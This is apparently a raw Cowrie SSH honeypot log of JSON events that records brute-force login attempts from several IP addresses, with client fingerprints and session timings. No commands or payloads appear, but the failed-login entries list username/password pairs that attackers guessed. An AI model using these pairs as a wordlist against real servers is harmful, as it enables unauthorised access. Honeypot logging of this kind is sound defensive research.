{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:31.060438Z","src_ip":"45.61.187.220","session":"f52b834773e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Qwe123C","message":"login attempt [root/123Qwe123C] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:31.240129Z","src_ip":"45.61.187.220","session":"f52b834773e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:32.293267Z","src_ip":"45.61.187.220","session":"f52b834773e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":55716,"dst_ip":"159.203.135.109","dst_port":22,"session":"17ef38ca9cca","protocol":"ssh","message":"New connection: 81.192.46.49:55716 (159.203.135.109:22) [session: 17ef38ca9cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:37.292015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:37.303198Z","src_ip":"81.192.46.49","session":"17ef38ca9cca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:37.415001Z","src_ip":"81.192.46.49","session":"17ef38ca9cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sairam123","message":"login attempt [root/sairam123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:37.869142Z","src_ip":"81.192.46.49","session":"17ef38ca9cca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:38.988257Z","src_ip":"81.192.46.49","session":"17ef38ca9cca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":53092,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c81b3b41e4f","protocol":"ssh","message":"New connection: 159.195.79.219:53092 (10.17.0.5:22) [session: 9c81b3b41e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:39.507486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:39.512691Z","src_ip":"159.195.79.219","session":"9c81b3b41e4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:39.603051Z","src_ip":"159.195.79.219","session":"9c81b3b41e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:40.004528Z","src_ip":"159.195.79.219","session":"9c81b3b41e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:41.097188Z","src_ip":"159.195.79.219","session":"9c81b3b41e4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":9518,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d0f1a405f87","protocol":"ssh","message":"New connection: 175.107.32.186:9518 (10.17.0.5:22) [session: 3d0f1a405f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:44.496472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:44.501027Z","src_ip":"175.107.32.186","session":"3d0f1a405f87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:44.713101Z","src_ip":"175.107.32.186","session":"3d0f1a405f87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101010","message":"login attempt [root/101010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:45.595272Z","src_ip":"175.107.32.186","session":"3d0f1a405f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:46.810405Z","src_ip":"175.107.32.186","session":"3d0f1a405f87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.32.153.180","src_port":49358,"dst_ip":"10.17.0.5","dst_port":22,"session":"627a7f31a2d2","protocol":"ssh","message":"New connection: 111.32.153.180:49358 (10.17.0.5:22) [session: 627a7f31a2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:48.889972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:48.894737Z","src_ip":"111.32.153.180","session":"627a7f31a2d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:49.155001Z","src_ip":"111.32.153.180","session":"627a7f31a2d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:50.227065Z","src_ip":"111.32.153.180","session":"627a7f31a2d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:51.490160Z","src_ip":"111.32.153.180","session":"627a7f31a2d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":42720,"dst_ip":"159.203.135.109","dst_port":22,"session":"da66fa02084a","protocol":"ssh","message":"New connection: 66.113.163.125:42720 (159.203.135.109:22) [session: da66fa02084a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:26.820336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:26.824481Z","src_ip":"66.113.163.125","session":"da66fa02084a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:26.860075Z","src_ip":"66.113.163.125","session":"da66fa02084a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"not4u2no","message":"login attempt [root/not4u2no] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:27.036433Z","src_ip":"66.113.163.125","session":"da66fa02084a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:28.075739Z","src_ip":"66.113.163.125","session":"da66fa02084a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":42386,"dst_ip":"159.203.135.109","dst_port":22,"session":"03e0d465cb4b","protocol":"ssh","message":"New connection: 45.61.187.220:42386 (159.203.135.109:22) [session: 03e0d465cb4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:41.370167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:41.382848Z","src_ip":"45.61.187.220","session":"03e0d465cb4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:41.424091Z","src_ip":"45.61.187.220","session":"03e0d465cb4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jcon0r73","password":"qvAKezGkBP2x-stx1C-n","message":"login attempt [jcon0r73/qvAKezGkBP2x-stx1C-n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:41.665435Z","src_ip":"45.61.187.220","session":"03e0d465cb4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:42.723768Z","src_ip":"45.61.187.220","session":"03e0d465cb4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":39878,"dst_ip":"159.203.135.109","dst_port":22,"session":"f724d4a8f44a","protocol":"ssh","message":"New connection: 125.16.27.190:39878 (159.203.135.109:22) [session: f724d4a8f44a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:46.222901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:46.226668Z","src_ip":"125.16.27.190","session":"f724d4a8f44a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:46.502610Z","src_ip":"125.16.27.190","session":"f724d4a8f44a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":44012,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a2ce2825383","protocol":"ssh","message":"New connection: 159.195.79.219:44012 (10.17.0.5:22) [session: 8a2ce2825383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:47.826174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:47.830959Z","src_ip":"159.195.79.219","session":"8a2ce2825383","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:47.921368Z","src_ip":"159.195.79.219","session":"8a2ce2825383","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:48.322609Z","src_ip":"159.195.79.219","session":"8a2ce2825383","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:48.439902Z","src_ip":"125.16.27.190","session":"f724d4a8f44a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:11:49.416249Z","src_ip":"159.195.79.219","session":"8a2ce2825383","protocol":"ssh"}
